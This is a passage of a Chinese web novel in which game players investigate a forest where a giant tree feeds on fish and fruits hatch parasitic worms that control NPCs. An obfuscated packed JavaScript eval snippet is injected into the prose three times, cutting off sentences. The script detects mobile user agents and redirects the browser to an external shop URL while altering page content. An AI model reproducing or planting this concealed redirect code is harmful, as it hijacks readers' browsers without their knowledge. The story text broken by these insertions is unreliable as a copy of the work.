“而在之前发现的日记里我们已知，这俩群人最显著的区别在于，杰克和汉斯是最先失踪的。在他们去而复返之后，其他人才慢慢地变成了怪物。” “鉴于此原因，我们不妨将这俩人视为是‘怪物化’的传染源。” “而无论是汉斯还是其他npc，他们在行为上与人类的唯一不同点在于——” 陆寰眼前一亮，接话说：“他们好吃生鱼！” “所以你的那条支线恐怕是破局关键了。”江显无奈扶额，“我们需要知道的是，鱼肉里面有什么异常、这些异常从哪儿来、鱼又从哪儿来。” “而在这一系列事情之中，向导必然起到了不小的推进作用。”她接着分析，“正因为如此，我的那条支线才会叫做‘向导的秘密’。” “逆向思维。很不错的分析。”陆寰夸奖道。 “不过这其中还是有太多疑点了。比如，汉斯和杰克被‘杀死’后身体里那一团白色的团状物是什么，想必你也看到了。”江显指指房间地上那片尚存的深色液体。 如果不是亲眼所见，她也无法相信这滩东西曾经有过人形。 “我刚刚杀死了他的人形态，然后白色团块蹦出来。我朝它开了俩枪但都没命中，最后它软化后从门缝里跑了。”陆寰一脸痛心，“这里的门缝也太宽了。” 江显说：“从目前的规律来看，我的技能可以识别一切玩家、npc、怪物，但是我识别不出那团白色的是什么。” 陆寰颇为惋惜：“原来你也不知道。” 江显皱眉：“简而言之就是我这个技能只能作用于一切‘非自然’、‘附加性’的东西。就好比说是把这个副本想象成一个大型的游戏，原本存在的自然环境野花野草我都不能识别，但是对面走来的npc、怪物、其他玩家，我却能点进去查看面板。” “你的意思是……” “我猜测那可能是某种本土生物。” “就像是一株草、一棵树，以及冷冻柜里那些鱼一样。我无法识别这些‘正常’的东西。” “就好像在一张影像学读片上，正常组织和周围融为一体，异常的部分却鹤立鸡群。” “当然，也有别的可能，那就是技能无法识别出非激活状态的怪物。” “很有趣的想法。”陆寰说，“但那东西第一眼让我有了另一种联线——白色、柔软、布满沟壑和褶子……” 俩人对视几秒。 “现在证据还不足。”江显摇摇头，似乎是否认了心中那个答案。 她还想继续说下去，陆寰却朝她比了一个“安静”的手势。 江显屏息凝神，听到了从楼上发出的动静，然后是房门关上的声音。 支线任务提示再次跳出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我有记一路上向左和向右拐弯的顺序。”陆寰说，“而且我包里还有指南针。” 就这样不知走了多久，向导忽地停下了脚步。 他似乎在思考着什么。 江显反应快，赶紧伸手一抓，拉着陆寰偏离小路躲到了树后。 下一秒，向导狐疑地转过身。 他往回走了一段路，拿起他的强光手电筒照射着周围那片树木。 俩人紧贴着树干大气，也不敢出。 向导可是拥有着那个单方面联络所有npc的【广播】的技能，他们一旦暴露后果将不堪设想。 强光的光斑还在到处移动，江显闭上了眼睛以躲避。她假装自己是寄生在树上的一株植物，与它紧紧贴附融为一体。 好在树干足够粗壮，为他们提供了良好的隐蔽场所。 向导照了一圈，毫无异常，遂又转过身继续向前了。 “……松手” 江显这才意识到，刚刚自己情急之下无意拉住了他的手腕。现在那分明的腕骨透过一层薄薄的皮肤，就那样被她握在掌心里。 像是笔锋流转的折角，直透过纸背。 她猛然觉得自己心跳很快，大概是刚刚向导的举动太过突然。 越是往前，树林越是密集，空隙也越是狭窄。 又不知走了多久，前路被一棵巨大的树木遮挡住，道路自动绕成一圈，众星拱月一般在树木周围中断。 这里…… 这是许多条林间小路交汇成圆圈之处！ 是她地图上那一团反常的白色光团所在！ 11. 失落之海11 向导在巨树前停下。 江显和陆寰俩人对视一眼，都从对方眼里看出不解。 他大晚上地跑到古树前干什么？祈求树灵保佑吗？ 借着昏暗的灯光，他们看到向导蹲下身去，在地面上那些粗壮的根系里寻找着什么。 “养料……这一切都是森林的养料。这些鱼都是，我们也是……”他竟跪在树下，动作语气里尽显狂热。 然后他开始念诵起来了：“但愿这里的一切都循环往复，永无终结，亘古不变，直至复苏。” 江显不明白。 向导在树根里找的是鱼？ 这还是她第一次见识到现实版缘木求鱼，十分怀疑他是生鱼吃多了脑子坏了。 “咚”一声，有什么东西重重落在了地上，仿佛是听懂了他的话一般。 光线太过昏暗，江显分辨不出那到底是什么，只能依稀看出那是个圆形的物体。 向导从地上抱起那物体，然后从俩人的藏身之地面前径直走过。很快林间就连他的脚步声也无法听见了。 【最终boss复苏进度：50%】 系统提示响起，江显觉得这所谓最终boss是向导已经八九不离十了。 她再次打开自己的界面查看，发现支线任务的进度果然又动了。 【个人提示：支线：《向导的秘密》完成进度100%】 【辛苦耕耘的人们，终将收获硕果。】 【人们吃下硕果，载歌载舞】 【是人类成就了硕果，还是硕果成就了人类？】 【提示：遗忘的角落不曾消失，真理的海洋近在眼前。】 【剩余待完成支线：2/3】 【剩余待完成支线：1/3】 “遗忘的角落”是指副本名字里的“失落之海”吗？可是眼前哪里有什么海洋？整个副本地图活动范围内都没有海洋。 江显又等了片刻，准备从藏身树丛离开。 她刚要迈出脚，不想却绊到了什么，猛一踉跄。 ！ 江显低下头，看到自己竟不知何时把脚卡在了一根盘曲的树根里。 她似乎不记得自己有走到低凹处去，难道是刚刚不小心滑下去了？ “怎么了？”陆寰注意到了她的异常。 她摇头：“没什么。” 眼前没有跳出任何信息提示，但愿是她想多了。 江显把脚从缠绕的树根里抽出来，继续朝巨树走去。 那是一棵巨大无比的树。 它的直径足有正常的三四倍大小，发达的根系从各个方向扎入地下，数以万计的根须构成了一片定格的海。 江显小心翼翼踩着根茎，手指轻轻触上树皮。粗粝的纹路剐蹭着她的指腹。 她仰头看去，再往上，粗壮的主干直插入高空，像是一座巍峨的高塔；再然后茂密的树冠遮蔽了天空，仿佛是密不透风的穹顶。 江显蹲下去查看那些根系。 她沿着根系四处摸着，甚至把手探入了深处，陆寰却只看见她脸色越来越凝重。 “怎么了？”他问。 “这里的地面……没有土壤。”江显一字一句说，“没有碎石、没有沙砾，一点土壤都没有。” “根系下面是悬空的，再然后又是根系。” 就和她早先刚到这里时，和苏乐的发现一模一样。 陆寰一惊：“怎么可能？” 他不信邪地检查了一遍，扒开那些散落的树叶，却只能摸到那些密密麻麻的根茎。 这简直是匪夷所思的事情！没有土壤，树木从哪儿吸收养料？又朝着何处生长？ “真的有这种生物存在的可能性吗？”陆寰喃喃道。 即便是苏乐这样的专业人士都无法解答，更别提是他俩。 江显依旧在根系之间用手扒拉着。 她的手依旧干净如初，只是沾了些水珠。因为这里没有任何土壤存在。 “看这个！”她道。 她的下方似乎是树根组成的空间。陆寰凑过去拿起手电一照，耀眼的反光晃得他闭了下眼。 “这是……” 眼前的情景简直叫人瞠目结舌—— 到处都是累累的白骨，宛若是一座座小山。江显不小心碰到了其中的一根，于是在一阵“叮叮当当”里，整个骨堆都在滑坡。 那声音清脆极了，倘若不是目睹现场，江显一定会以为那是风铃。 陆寰问：“这里怎会有如此多的骨骼！” 江显拾起一截仔细观察一番，断言：不是人类的。“ “那是谁的？“ “鱼的——或者准确来说，各种海洋生物的。”江显指指周围那圈大小不一的骨架，“看，这种是小型鱼类的，而这种大的有弧度的看起来像是鲸鱼的，这种长长的——可能是蛇也可能是鳗鱼……还有蟹壳。” 这里简直就是各种生物的坟场。 正说着的时候，突然又有什么东西从树根的间隙里冒出来。 江显很难描述那是怎样的场景：树根缓缓移动和松开，露出一个苍白的尖端，让人无端联想起新生的芽苞。然后尖端不断冒出，成为一条长长的骨头，再然后是另一根…… 一副全新的、完整的鱼类骨架出现在他们眼前，刚刚被树根吐出。 与之伴随的是“咕”的声响。 就仿佛是……树根吃饱了，打了个饱嗝，把无法消化的骨骸吐出来。 陆寰看着下方那满目的白色，难以置信。 “这到底是……” “你还记得我们来时那条白色的小路吗？”江显说。 陆寰当然记得。 “我刚刚就觉得那些路的形状质地和纹路十分古怪，但是又一时想不出问题。现在我知道了。那些路，是由大型鱼骨堆砌而成的。路的中轴是鱼的脊椎纵行拼接而成，两旁梳子一样的纹路是鱼刺，一具具鱼骨错开来堆在一起，把鱼刺间的空隙全部覆盖就成了实心道路。” 陆寰倒抽一口冷气。 “整片树林的道路，都是用鱼骨做成的。” 林间道路是人铺成的，那就意味着这里的所有人一定都知道鱼骨堆的事情。 换而言之，所有npc都知道关于“海”的秘密。 这里随处可见各种海洋生物，但是—— 海又在哪里呢？？？ “难道这颗星球上曾经到处都是海，然后海干涸了，森林覆盖了地表，现在只留下一堆动物尸骸？”陆寰胡乱猜测着。 这样的话，他们又要去哪儿找海啊？ 正在这时，系统忽地弹出一则提示。 【系统公告：副本地图隐藏区域解锁！】（此公告全体玩家可见） 【玩家江显、陆寰成功探索周围，发现巨树。地图隐藏区域已解锁！】 地图隐藏区域？ 江显立刻打开地图查看。 可是地图的大小和范围并无扩张。 “我没看见新的区域。”陆寰皱眉，“而且我一直以来有一个疑问，副本为我们划定的地方远远比不上一颗星球的规模，甚至不及一个城市的大小。那么这片区域以外的部分呢？如果我们抵达地图以外的地方又会如何？” 江显默不作声。 良久，她猜测道：“新解锁的区域，恐怕在那棵巨树的根系下面。” “就是那些全是骨头，被称作为‘养料’的东西之下。” 也就是她那张黑白地图上一开始就显示高亮的圆形区域。 陆寰被她这话说得有些毛骨悚然。 如果“鱼骨”被视为养料，那么同样被向导称之为养料的“人”，又会是什么下场呢？ “回去吧。”江显把手电筒从树根洞口移开。 俩人都觉得这是目前最稳妥的办法。夜探如此诡异的地方属实不明智，更好的选择是明天白天喊上苏乐，再来一探究竟。 反正这才第一天晚上，他们倒不用担心时间来不及。 俩人一言不发地回到了鱼骨小路，对照着地图往回走。 在视线再度被枝叶遮挡之前，陆寰有所感应似得回头看了一眼巨树。 他突然生出一种奇怪的念头，仿佛这里的一切他都曾有过模糊的印象。 * 星际直播平台。 尽管各个星球的时间不同，但现在副本时间却统一正是晚上。 经历了一个下午的危机，玩家们皆疲惫不堪，大多已经沉沉睡去，无甚看头。 因而，留在各个副本直播间里的只有寥寥几人。 正在这时—— 【系统公告：副本地图隐藏区域解锁！】（此公告全体玩家可见） 【玩家江显、陆寰成功探索周围，发现巨树。地图隐藏区域已解锁！】 消息一出，星际直播间仅有的几个人纷纷大吃一惊！ [现在不是大晚上的吗？这支队伍又在干什么啊！] [副本隐藏区域是什么？此前从没有队伍解锁过啊！] [有没有人告诉我，现在是怎么个情况，刚刚没看他们的直播间错过了。] [刚刚那位，你不是一个人。] [楼上+1] [我看到了，就是他们应该是走支线，然后跟着向导去了一棵大树那里。现在他们发现树下一堆鱼骨头。但诡异的是按照常理来说没有海哪来的鱼？] [卧槽这俩狠人，大半夜别人睡觉他们推支线进度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055772|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，牛的！] [夜晚这么危险他们还要贪功冒进，我看他们也走不远了。] [有没有人关心他们队里另一个妹子啊哈哈哈哈……她可能在睡梦中错过了亿点点东西。] [这个直播间好热闹啊，可惜之前没看，容我先看一波直播间回放恶补一下。] 江显他们副本直播间的观看人数越来越多，很快就在一众副本直播里夺得头筹。许多之前在看其他副本的人也被他们吸引了过去。 他们一时看不到最先进展，皆抓耳挠腮，只得全去看回放。 [诶，等等，你不觉得某些副本的背景设定都有些相似吗？似乎都是在同一片森林里。只不过江姐他们这一组剧情是在科考站展开，而我刚刚看的另俩个副本是发生在森林深处的大逃杀！] [这么一说真的是！我刚刚看的那个副本，从巨树的样子到星球环境以及怪鱼外观，都和这个副本没有区别！] [难道……他们的副本之外还有副本，他们其实是处在同一个大型副本里面？可是他们的任务看起来毫不相干啊！] 直播间里议论纷纷。观众们没法获得除了【系统公告】以外的任何背景提示，只能瞎猜。 * 与此同时，地球星际指挥中心。 “上校，我们已经收集和录入了星网上所有直播间的信息，目前共计1000个副本，副本剩余存活人数1900人。”技术人员模样的叶泊推了推眼镜，神情兴奋不已。 他的眼睛下是一片乌紫，显然很久没休息了。 叶泊是地球指挥中心的技术部的负责人。这几天来整个技术部加班加点，生怕慢一步酿成大错。 “很好。”露西亚赞赏道。 “另外，我们有了惊人的发现！这些玩家所在的副本都是部分或全部以森林为背景！这意味着什么？这意味着所有副本很可能发生在同一个星球上！”叶泊夸张地手舞足蹈。 “在副本进行时，我们根据玩家的活动范围，对所有副本的场景进行了建模，构建出了1000个各自独立的区域地图。”他说着拿出电子笔。 他在面前的虚空画了两笔，虚拟光屏上立刻出现了演示图像。 “然后我们将这1000个局部地图拼接起来，在排除了信息缺失和计算偏差之后，组装成了一个完整的星球模型。” 他两手拖住光屏向中间收缩，那些局部缩略图重组成了一个碧绿的球形。 “我们发现，这样制作成的星球模型，和金天鹅座的一颗行星——绿松石星，相似度竟高达95%！”他点着那个球形，宣布道，“这绝对是一个伟大的发现！” 露西亚露出难以置信的神情：“他们在绿松石星上？！” 叶泊点点头：“副本是真实存在的，上校！那些玩家一定还活着！” “除此之外，我们目前正在通过人脸识别核对所有玩家的身份信息。这一工程较为浩大，且因为需要申请访问星际公民数据库的所有信息，还需几天才能完成。” 露西亚深深吸了一口气，强迫自己冷静下来。 从这次大型的飞船事故发生以来，整个指挥中心已连轴转了几天几夜；此时有如此突破性进展，很难不令人振奋。 这几天来露西亚一直处于精神紧绷的状态中。地球医疗部的人隐隐在给她施压；然而星际指挥中心方面却屡屡驳回她的搜救申请，这意味着她无法给舰队下命令前去营救。 露西亚着实为飞船上那些乘客的状况担忧。她无法理解为何明明各项监测指标都显示事发地情况稳定，指挥中心总部却迟迟按兵不动；各方代表也在以“观察”为名义的踢皮球中稳定发挥。 但总得有人先去。她想。这是她身为军人的天职。更何况这段时间地球的两位高层已经明确表达了他们的态度。 此刻得到了技术部的最新消息，她更是心意已决。 “立刻给‘特别行动队’下达指令，4小时后启程前往绿松石星！”露西亚对一旁的助手说道，“这一消息务必严格保密！” “特别行动队”从某种意义上来讲是指挥官的私人护卫队伍，其主要任务是保护指挥官的人身安全。 露西亚此举等于说是宁愿以身犯险，也不想走漏消息。 叶泊一路礼仪性地跟着她，然后目送着那个英姿飒爽的身影朝飞船停泊港的机械门走去，她肩章上金色的徽章在闪烁。 “对了，上校。还有一件事情。”叶泊说。 露西亚停下脚步，转过身来。 “请您务必平安归来。” 机械大门在她身旁打开，太阳的光茫从停机坪的甲板上显露出来，她整个人成了一道剪影。 然后她向前走去，消失在强光之中。 12. 失落之海12 “所以，你们昨晚究竟干了什么壮举啊！”苏乐看着系统公告，看俩人的眼神像是在看怪物。 她只是睡了一觉，醒来时就获悉地图隐藏区域开放了。 江显：怎么有种背着她合伙做坏事被发现的尴尬………… 陆寰把整个事情讲了一遍，然后真诚地看着苏乐：“所以，我们目前陷入了僵局，需要你这个专业人士过去看看，提出点看法。” “好的！我一定尽力！”苏乐说。 从进入副本以来她就一直没为队伍作出什么贡献，都是另外俩位队友在推进度，甚至还挑灯夜战。 对此她心里一直有些过意不去。 可是副本这险象环生的环境她根本适应不了，推理也不是她擅长的领域，她全程心有余而力不足，只能沦为队伍吉祥物。 而现在，她的队友居然明确告诉她：队伍需要她。这让她感到有些受宠若惊。 苏乐既兴奋又忐忑，恨不能立刻跑去巨树那里一探究竟。 三人正说着话，向导很扫兴地从楼梯上走过来了。 “今天你们就要跟着队伍在树林里完成日常的活动。”向导霍列斯仔仔细细打量着他们说，“我看你们怎么精神状态不佳？” 他的目光停在江显脸上。 江显刚要打出的哈欠愣是给憋了回去，她揉了揉俩个硕大的黑眼圈，随口胡扯：“房间里鱼腥味儿太重了，有点熏。” 向导将信将疑，追着她又问了几句。 然后他接着问陆寰：“你呢？” “房间床太硌了。”他说。 向导信了。 有这样一个逆天技能真是好啊。江显想。连胡说八道都有人信。 向导去楼下找其他队员了，三人迅速收拾好背包，草草吃完了压缩饼干。 “‘豌豆公主’对今天的任务有何打算？”江显揶揄道。 “趁机去隐藏地图探索一番？”陆寰也不恼，对这一绰号置若罔闻。 经过了半天多的观察，苏乐也意识到陆寰似乎有什么特别技能了。 纠结了一阵后，她困惑地问出了心中疑惑。 陆寰于是解释：“我有特殊技能，能力就是让所有玩家和npc对我打消怀疑，强制性让他们相信我说的话。只是这个技能并不能更改他们对于既定事实的认知。而且效果并不能百分百触发。且npc精神波动越大，生效概率越低。” “而我的技能是能看到一切npc和玩家以及怪物的属性数值及技能。”江显也介绍说，“这也是之前为什么我会推测，餐厅的怪鱼是npc变成的。” “好厉害！”苏乐看着俩人，艳羡之色溢于言表。 可惜她没有技能，这方面估计是又要拖后腿了。 想到这里她不免又有些垂头丧气。 陆寰似是猜出了她心中所想，安慰道：“有时候知识类的能力或许比技能更可贵呢。” 三人边聊着边下了楼。 科考站外，所有npc们都已经整装待发。 他们甚至从二楼仓库里找出了几辆小推车，里面居然还放着长钳子、电锯和铁铲，这模样简直像是去果园里大丰收的。 “你们跟着汉斯那一队，让他教你们如何完成日常任务。”向导说。 汉斯闻言，微笑着朝他们走来。 他的模样和昨天并无二般，仿佛昨晚的死亡只是一场幻觉。 江显盯着他的脸上看了许久，企图看出些破绽来。 可是汉斯只是笑着，所有的属性也都恢复到了初见时的npc状态，江显猜不出他到底什么情况，也不知道他到底在打什么算盘。 “不用再在大晚上执着地向我们推荐生鱼了。”陆寰笑着说，“我们还没做好心理准备呢。” “是吗？”汉斯嘴角露出一抹笑，“或许我可以换一种方法，比如……在林子里让你们饿上几天……人在极度饥饿状态下是会饥不择食的。” 他完全没有要遮掩脸上恶意的意思，看得江显心一寒。 果然，昨夜那几枪并没有杀死汉斯。 当她知道这里的npc都是怪物后，她本来还想着把大多数暴力杀死，留下几个关键的推任务进度；但是既然现在看来怪物都有死而复生的能力，非必要时刻他们倒也不用白费功夫。 那团白色的物体逃走后保留了之前的一切记忆，现在又生长出一个完整的“汉斯”。 那到底是什么东西？为何怪物的身体死了，那团东西却不会死亡，并能将记忆储存起来？ 江显觉得一切都细思极恐。 莫非人类模样的躯体在单独存在时没有生命，那个团块才是“本体”，它本身就是能够单独存活的？ 她一直觉得，白色团块在npc体内起到了类似大脑的指挥、思考、记忆作用。如果这样想的话…… 霎时间，她觉得一切都豁然开朗。 她的技能无法识别，因为“白色团块”是某种特别的生物，不是什么灵异超自然怪物。 Npc们在人形时能够正常活动，因为是“脑子生物”在操控着他们的神智和身体。 或者说，就连人形的身体本身也是这些“脑子”们制造出来的，毕竟只有这样才能解释，为何它们在被杀死后又能够重新复原！ 还有，它们……是通过鱼肉进行传播的。 也许它们是存在于鱼肉里的什么物质，也或许鱼就是它们的初始本体。 想到这里，江显一阵后怕。 幸好他们没有吃那些冷冻库里的生鱼！否则他们很快就会变得和这群npc一样。 “快走吧。”汉斯催促道，“别磨磨唧唧的，完不成任务有你们好看的。” 陆寰识趣地推起了车，一行人就在一种诡异的气氛里出发了。 副本里没有准确时间参照。不知过了多久，他们小队终于到达了工作地点。 “喏，就是这儿。”汉斯说道。 江显四处打量着，这只是一片寻常的森林罢了，与周围其他地方并无区别。 她原本还以为，汉斯会带他们去那棵巨树那里。看来是她想错了。 “现在我们要干什么？”她问。 汉斯咧嘴笑着指指头顶密不透光的枝叶：“捡果实。” 他说的是“捡”。 “咚”！ 话音刚落，一团湿润的的、鲜红色的圆球状物体重重砸在地上。 安安静静在地上躺了十几秒之后，它突然颤动了几下。 然它从根系的间隔里滚落；细小的摩擦声音里，鲜红圆球咕噜噜地深入其中，消失不见。 江显霎时间反应过来：这就是昨天晚上向导从地上拿走的东西。 “看，如果我们不捡拾的话，它们很容易就滚到地下去了。”汉斯说。 江显仰头望去，试图在空中寻找果实的影子，可是除了树冠，什么也没有看到。 “果实是做什么的？”江显问道。 汉斯勾起了唇角：“当然是做鱼饲料咯！再过三天我们就要用它们去捕鱼了！” 江显决定先不考虑他们到底去哪儿捕鱼的问题。她在想另一些东西： 鱼吃了果实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055773|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，然后人吃了鱼，再然后……“脑子生物”控制了npc。 有一瞬间，江显觉得自己仿佛抓住了某种细节。 果实是源头。 果实里有什么？ 弄清了这个问题，或许一切的难题都将迎刃而解！ “那我们就直接把它们捡了放在推车里？”陆寰问道。 “不然呢？我也很乐意看你们徒手运回去的。”汉斯说。 正说着时候，他们几米外的地方又有几颗果实劈里啪啦地落在了树根之间。 “去啊，快去捡啊，愣着干嘛？”汉斯说。 江显走近几步仔细地观察着那些果实。 出乎预料地是，果实表面竟有一层薄薄的膜层结构；内里的果实被包裹于其中，像是一枚卵。 而外面那层深红的半透明膜也不是完全光滑的，而是有着不引人注目的沟壑和凸起。 就像是……就像是……一颗变异的核桃果。 江显被自己的想法吓到了。 她没有直接捡拾，而是从推车里拿出钳子，小心翼翼地捏着那层薄壳，把果实一枚一枚夹到了推车里。 很快，推车里就堆了几颗红艳艳的果实，煞是鲜艳。 另俩人皆紧张地看着她的动作。 “就这样吗？江显问。” “可别小看了这点事情。”汉斯一副看好戏的表情，“你们可千万，千万要小心不要把果子的外皮弄破了……否则……啧啧啧。” 他的话让三人不寒而栗。 “把果子弄破了会怎样？”江显追问。 “你们可以自己试验一下。”汉斯故意道。 正说着时候，他们几米外的地方又有一颗果实落在了树根之间。 “那好吧。”江显叹了口气，越过汉斯朝刚刚果实消失的地方走去，似乎是想看清楚一点。 谁知在擦身而过的一刹那，她突然暴起，手里的钳子一下把汉斯的脖子钳制住了，然后她手腕一翻，将藏在身后的手枪拿出来。故技重施朝着他的下巴就是崩崩两枪。 汉斯的头颅四分五裂，里面那团白色的东西再次飞了出来。 陆寰默契地朝白色团块开枪，可那东西和昨夜一样动作奇快，一眨眼就消失在树林之中。 留下汉斯残破的身体倒在原地，面目狰狞而模糊。 苏乐被这突如其来的变故吓得愣在原地。 她刚反应过来，就见弹片从汉斯颅顶穿出来。被烧焦的组织透着让她反胃的焦味。 她还是头一次见到这样暴力和血腥的场面。昨天餐厅里的怪鱼只是让她觉得有些不适，但此刻的汉斯毕竟维持着人形，这副诡异的死状让她下意识代入了同类的死亡。 不是的，这里的npc即便有着人形，本质还是怪物。苏乐一遍又一遍地告诫自己，他们现在是在诡异副本里，心慈手软和胆怯懦弱都只会害了她。 “觉得恶心就不要看。”江显说着伸手去捂苏乐的眼睛。 她深知这种场面对普通人来说一时难以接受，当初上解剖课时她自己也花了不少时间才克服了心理障碍。 但是苏乐摇了摇头，固执地盯着那残骸，直到它化成一滩液体。 “看来只杀死人类躯体的确无法杀死他们。”陆寰握住手枪，发出叹息，“得连同白色的脑子生物一起抹杀才行。” 江显摆摆手表示无碍，她本来就没想着杀死汉斯，此刻不过是找个法子让他短时间内无法以人形活动，难以监视他们。 “终于清静了。真好。”江显说，“现在我们可以自由活动了。 13. 失落之海13 “你们都站远一点。”江显对小推车旁的俩人说道。 陆寰和苏乐看了看推车里的那些果实，不明白她葫芦里卖的什么药。 “远一点，再远一点。” 直到俩人退到十米开外，她才喊停。 然后，在两人惊愕的目光里，江显瞄准了推车上的那些果实。 枪声接二连三地响起。 半空中飙射起一股股鲜红的液体，足足喷出四五米，仿佛她刚刚射中的不是果实而是大动脉。 与“果浆”一起迸溅的还有一条一条白色的软体动物，它们从外观上来看像是蠕虫，正蠕动着从果壳的破口里涌出来。 “我擦！”苏乐没绷住，一下子被恶心得不轻。 联系刚刚汉斯的提醒，它们的食物是什么已经昭然若揭。 ——人类。 很难想象要是它们到了人身上，场面会有多么血腥。 那些蠕虫足有成人手掌大小，通体半透明，体节收缩时甚至能看到内里的脏器。它们有着巨大的口器，张开时令人感觉毛骨悚然。 在像无头苍蝇一样乱爬了一圈却没发现食物后，像是受到了某种未知的召唤一般，它们在地上爬动着聚成一个球——一个表面凹凸不平、沟壑纵横的球。 再然后，它们一只咬着另一只的尾，像是织毛线球那样首尾相连！ “咔嚓！” 一条蠕虫咬掉了同伴的尾巴，再然后它也被后面的同伴所吞噬。 恐怖的咀嚼声中，它们的分界正在消失，开始彼此融合，慢慢朝着一个完整的球体转变。 只是几秒后，整个球体蓦地一顿，像是出了故障的机器，紧接着虫球变得僵硬和扭曲，最后七零八落、四散着掉在了地上。 它们死了。 江显只觉得言语堵在了喉咙里。 汉斯死后那团会自主运动的白色柔软物质，不是大脑……是这些虫子。 虫子在吃掉了人类身体后又吞噬了彼此，融合成一个全新的个体。 它们学习了人的智慧，寄居在人类的空壳里，或者说只要它们本体还活着，就能再次伪造出人类的空壳藏匿于其中。 吞噬人类是它们存活和成熟的必要条件，一旦缺少这一步骤，它们就将迎来死亡。 日记里提到的，消失的汉斯和杰克，一定是都被这些虫子吞噬殆尽了。 江显脑子动得飞快，她很快意识到一个新的问题——那么其他npc呢？他们怪物化时会变成怪鱼，显然和前者并非完全一样。 他们，又是以怎样的形式存在？ 又或者说，后来的汉斯和杰克，是靠着何种方式把虫子传播给其他npc的？ 截至目前，他们在房间里发现的绘画草稿里，标有数字“3”的果实、标有数字“2”的树木、标有数字“1”的鱼类、标有数字“0”的蠕虫都已经找齐了。 而寻找这些线索是陆寰那条名为【永生轮回】的支线所提示的，那必然说明这些绘画和编号一定对解开支线2的谜题具有帮助。 江显觉得这些数字或许是整个“轮回”的顺序。 最开始是编号为“0”的蠕虫，然后编号为“1”的鱼吃了含有蠕虫的果实。 已知编号为“3”的果实是从编号为“2”的树上长出来的。那么树和鱼之间又存在什么什么关系呢？难道说…… 江显想到了他们昨晚发现的大量鱼骨，一个荒诞的猜想在她脑中出现。 树在吃鱼？ 江显暂时按捺住自己的想法。她觉得这个副本太过怪诞，每当她揭开一重真相，自以为认识了一切，却又会面临全新的难题。 周围仍在间或地落下果实，仍然是像先前一样，落地一段时间后就消失在分开的树根通道里。 如果果实里包裹着蠕虫，那么它们进入地底后又通向何处？ 那些蠕虫又会怎样？是破壳、然后死亡；还是从一开始就成为一枚死胎？ “我们现在去哪儿？”苏乐忧心忡忡地问。 现在没了汉斯的监视，他们完全可以在天黑回科考站前的这段时间里自由探索。 “去隐藏地图。”江显笃定地说。 现下恐怕也没有比这更好的主意了，其余俩人一致通过。 三人推着小车，对照着那副地图朝巨树的方向前进。 江显仍在研究她自己的那副“特制”地图。 当她开启地图后不久，系统就提示她，在她眼里那些“白色”的区域代表着异常。 可是这片树林、中央大树，到底存在什么问题呢？ 正当她陷入沉思之时，却无意间瞥见地图上似有白色光点在闪烁。 江显定睛一瞧——没有看错！它们正像是遥远的星星一样隐晦地在昏暗背景上发着光。 凭空出现的异常？ 想到这里，她迅速查看地图，寻找了一个离他们最近的光点前去一探究竟。 “你去哪儿？”陆寰和苏乐不解。 在他们眼中，江显突然和发疯一样偏离了鱼骨主道，踏进了根系交错的林间。 “去验证一个猜想。”江显头也不回地朝前走去。 出于对她的信任，陆寰和苏乐都跟上了她。 他们攀过纠缠的树根、踏过潮湿的落叶堆，来到一处再普通不过的林间空地。 眼前是一个小小的水洼，此刻正朝周围飞溅着水花。 “什么东西？”苏乐不明所以。 林间除了他们和npc，还有别的活物吗？ 又走近了几步，他们终于看清了那未知之物—— 一条不小的鱼正在其中奋力拍打着尾巴。 它奋力翻滚着，雪白的鱼肚子一闪一闪。 就像是做着搁浅后最后的挣扎。 “鱼？”苏乐愣了一下，“从哪儿来的鱼？” 她下意识地看了江显一眼，征求她的意见。显然怪鱼给她留下的心理阴影不小。 “不是怪物。”江显说，“就是一条普通的鱼。” 毕竟她的眼前没有任何怪物提示。 再然后，水从缝隙里漏走，水潭越来越小。 鱼的挣扎越来越微弱。终于，它不动了。 这下所有人都惊得说不出话了。 先前他们看到大量的鱼骨，曾经猜想过这片森林或许由干涸海洋转变而来。 但是此刻展现在他们面前的是鲜活的、还在动着的活鱼。 找到了鱼，那是否说明失落的海洋就在不远处？ 陆寰和江显俩人默契地把目光投向苏乐。 “别看我啊，我也不知道啊。”苏乐倍感压力，“我只有一个勉强说得通的猜测。” “说说看。”江显说道。 “就是海面上时常会伴有凶猛的气旋，很容易形成台风。说不定是远处的气流把鱼从海里送过来了。”苏乐说道，“但是这好像又不太说得通，如果有巨大气旋的话我们在森林里不会一点也感觉不到……我们甚至没看到树动。” “听起来确实有点矛盾。”江显说。 她原本是想用手蘸一点还没干的水迹，尝一下是不是海水的；但是考虑到吃鱼肉会让人变异，也不知道饮用海水是否会有类似后果，于是作罢。 “你又是怎么知道这里会突然出现鱼的？”陆寰眼里充满好奇。 “只是我特殊技能的一部分。”江显含糊其辞。 俩人闻言也就就此打住了。毕竟谁还没点秘密。 接下来，他们在没有道路的林间追踪着鱼类的痕迹。反复的成功让江显得以确认，“鱼类”在地图上确实是白色的。 他们一次次发现林间的鱼类，又一次次目睹着活蹦乱跳的鱼死去。 